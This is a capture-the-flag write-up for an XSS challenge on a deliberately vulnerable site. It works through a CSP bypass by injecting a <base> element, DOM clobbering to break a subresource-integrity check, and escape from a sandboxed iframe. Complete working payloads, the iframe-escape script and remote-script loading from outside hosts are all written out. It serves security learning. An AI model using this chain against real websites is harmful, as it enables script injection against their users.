Objectives:
- You must
alert(origin)
showinghttps://wacky.buggywebsite.com
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
Summary:
Bypassed access restrictions to /frame.html
which allowed me to inject and render html
, bypassed csp
using the <base>
element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe's sandbox to execute alert(origin)
which was not possible due to the sandbox
attribute given to the iframe we end up in.
Thank you for the challenge - hope everyone likes this writeup, there is a visualization for the exploits you can check out after reading this.
Exploit
bucpoc exploit: jGQnU5oH (works on latest Chrome version)
bugpoc password: SociAlcRAne15
This is the bugpoc.com payload:
<!-- Front-End BugPoC -->
<html>
<!-- TODO implement -->
<h1>NOTHING TO SEE HERE</h1>
</html>
<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E", "iframe")
</script>
Technical Details
The following sections will walk through the technical details on each part of the challenge. Enjoy
- initial foothold
- csp but make it vulnerable
- integrity || GTFO
- it's clobberin time
- the great escape
- poc diy
Initial foothold
The challenge is at https://wacky.buggywebsite.com/
which loads an application that gets user input and turns it into "wacky text". This is implemented by loading an iframe from /frame.html
which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which "protects" it from being loaded directly from the browser:
Back in /
we can see the html source and see the iframe being loaded correctly
...
<div class="round-div">
<span style="opacity:.5">Enter Boring Text:</span>
<br>
<textarea id="txt">Hello, World!</textarea>
<div style="text-align: center;">
<button id="btn">Make Whacky!</button>
</div>
<br>
<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
</div>
...
The access control is implemented in the script loaded inside /frame.html
. The code below shows the "verification" that determines if the iframe we are interested in can be loaded
// this checks the window name before dynamically generating the iframe we need
if (window.name == 'iframe') {
// securely load the frame analytics code
// this just need to eval to true (the actual value doesn't matter)
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
}
The script checks the window.name
to see if it's called iframe
and if it is - it continues execution, if the name does not match the iframe does not get created. This is interesting, since the window.name
can be set when opening a window from an arbitrary domain using window.open("https://evilwebsite.com", "nameforwindow")
, with this we should be able to open the frame.html
<html>
<!-- put this in a server you control -->
<body>
<!-- this will open the site given it the window.name='iframe' that we need -->
<script>window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")</script>
</body>
</html>
Now that we have access to this file we can pass it what we want using the query string param=somethig
. This is good for us since our input is going directly into the page, if you check where the input is being reflected you'll notice you can close the <title>
tag using: /frame.html?param=</title>
now everything after that will be valid html and we can continue to try to get our alert.
CSP
Even though html is injectable, all interesting elements get blocked because of the CSP
I use https://csp-evaluator.withgoogle.com to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)
content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';
The one that stuck out was base-uri [missing]
when looking at MDN we can see the following:
- base-uri directive restricts the URLs which can be used in a document's element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the element
Now let's look at the MDN page for the element:
- Links pointing to a fragment in the document — e.g.
<a href="#some-id">
— are resolved with the<base>
, triggering an HTTP request to the base URL with the fragment attached. For example: - Given
<base href="https://example.com">
- ...and this link:
<a href="#anchor">Anker</a>
- ...the link points to
https://example.com/#anchor
Let's go back to the /frame.html?parameter=</title>
and look for something interesting in the rendered html
This iframe caught my eye because it gets built dynamically by:
<script nonce="jllvokubhfmz">
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
// securely load the frame analytics code
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
</script>
The code above shows how the iframe and script are built, the one that's interesting is script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
which sets the src
attribute, this path is relative, and how do relative paths determine where to resolve? base-uri
which can be set by adding a <base href='https://evildomain.com>
element:
- payload:
https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://evildomain.com">
This will allow us to include a file from an arbitrary domain we control - since after we inject our <base>
element the file will actually be fetched from https://evildomain.com/files/analytics/js/frame-analytics.js
giving us a way to inject arbitrary javascript.
Integrity - nah
Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this - the request will fail, this is because of the integrity
attribute that's added in this line script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
Before we go into how to get around that, let's see what this integrity
thing is, from the RFC provided by the source script
- An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element
This is what's happening here - the script that is being loaded doesn't pass the integrity
check and fails to load, so this is where I was stuck for a while.
The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn't valid base64 as the integrity
value, we also have to make sure we return the ACAO header with *
to fulfill the requirements from the RFC
This allows us to get our script to load and execute.
Heard you like backwards compatibility?
This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error.
I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.
The error we get after clobbering the fileIntegrity
(more on this later) object is a bit different, if you don't clobber the fileIntegrity
object you get this error when trying to load the resource from your server:
"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."
Which blocks our source from being loaded.
But after you clobber the fileIntegrity
object, the error simply says:
Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."
That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: SubresourceIntegrity.cpp
The browser couldn't parse the hash value because it's not valid base64, by looking at which if
statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it's clear that the
reason why this happens is for backwards compatibility:
Here is a resource being blocked due to an integrity check:
Now how do we generate this parsing error?
Thanks https://twitter.com/acut3hack for the nudge for this next part.
DOM Clobbering
Let's do a recap of what has brought us here.
- We can load an iframe that takes in user input un-sanitized
/frame.html?param=dirtydata
- achieved by using
window.open("domain", "windowname")
- achieved by using
- There is a
csp
in place-
csp
can be bypassed by injecting<base href=https://evildomain.com>
with our current injection - The
<base>
element sets the domain for assets that come from relative paths()
-
- The
script
that is being dynamically built is now being loaded fromhttps://evildomain.com/files/analytics/js/frame-analytics.js
- This means we can control what's inside
frame-analytics.js
- This means we can control what's inside
- The file is being prevented from executing because of the integrity check 😢
- The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
- Currently the hash is stored in a global object
fileIntegrity.value
- Currently the hash is stored in a global object
- The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
The first interesting thing to notice is how the integrity
attribute is being generated:
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
...
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
...
The value for the integrity
attribute is stored in the fileIntegrity.value
object which can be accessed globally. The browser works in mysterious ways...because we can use the html
injection we currently have to "clobber" the value and replace with something we can control. 🤯
Because of how the browser treats elements with id attributes, we can "clobber" the fileIntegrity
object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need
We can cause this almost mystical attack by using the following payload
/frame.html?param=</title><base href="https://evildomain.com"><a id=fileIntegrity><a id=fileIntegrity name=value href=quack>
That will allow us to completely reset the global object fileIntegrity
and set the arbitrary value we need fileIntegrity.value
so it can cause the parsing error, and the file we have hosted on https://evildomain.com/files/analytics/js/frame-analytics.js
will actually get loaded and it will execute in our context.
iframe
I went for it here - I hosted the file and used alert(1)
and when I went to execute....nothing.
Turns out the sandbox
attribute that was added to the parent iframe prevents us from using any prompts like alert prompt etc
by using this value "allow-scripts allow-same-origin"
it will only allow us to execute scripts 😭
On to MDN we go again to find the following:
This is interesting - it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior.
My first idea was to remove the attribute itself from the parent iframe by using the script
we currently control, that means that the contents of my frame-analytics.js
would have to:
- Find the iframe that we are interested in
- Remove sandbox attribute by using
Element.removeAttribute(attributeName)
- Pop my alert and be on my way right?
In short - no, it's not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it's values the browser will still complain that we aren't being safe and will fallback to that same sandbox
and after some google-fu I stumbled onto this beautiful blogpost https://danieldusek.com/escaping-improperly-sandboxed-iframes.html which goes into more detail into what's going on. Since we can run js let's completely remove the "safe" iframe and replace it with a much nicer, trusting one. We'll also use the same trick to get a parsing error for the script we are going to use which will contain our final alert
// find the iframe with the sandbox
var og = parent.document.getElementsByTagName('iframe')[0];
// create a nicer iframe :yay
var hack = document.createElement('iframe');
// append out nicer iframe to the body
parent.document.body.append(hack);
// remove the mean iframe
og.parentNode.removeChild(og)
// create a script tag
script = document.createElement('script');
// I used bugpocs mock endpoint & flexible redirector to also load this
// it only contais alert(origin)
script.setAttribute('src', 'https://gfeku9odpbh4.redir.bugpoc.ninja');
// integrity parser error so our script loads
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
// cors settings
script.setAttribute('crossorigin', 'anonymous');
// add the script which will pop our alert
hack.contentDocument.body.appendChild(script);
This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.
BugPoc
Initially this was made using aws, but when solving it, I got this:
And it made me want to do it, so here I'll explain how I achieved this.
Using bugpoc's mock endpoint I created an endpoint that would load the initial script needed:
https://mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e
&statusCode=200&headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}
&body=
var og = parent.document.getElementsByTagName('iframe')[0];
var hack = document.createElement('iframe');
parent.document.body.append(hack);
og.parentNode.removeChild(og)
script = document.createElement('script');
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
script.setAttribute('crossorigin', 'anonymous');
hack.contentDocument.body.appendChild(script);
Then I used the Flexible Redirector to create a redirect that would load this when it got hit from:
https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js
The next step is generating the script that will load the alert(origin)
that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it's hash we can load a script with the alert we need.
Create another endpoint like this
https://mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&statusCode=200&
headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}&
body=alert(origin)
And create a flexible redirect to this that will load the script:
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
Tying all that together you can then create a PoC and add the payload:
bucpoc exploit: jGQnU5oH (works on latest Chrome version)
bugpoc password: SociAlcRAne15
That creates a PoC entirely using bugpoc.com which is honestly pretty cool.
Thanks for the challenge!
Resources
https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/
https://danieldusek.com/escaping-improperly-sandboxed-iframes.html
https://report-uri.com/home/sri_hash
https://portswigger.net/research/dom-clobbering-strikes-back
https://csp-evaluator.withgoogle.com/
https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94!
Top comments (0)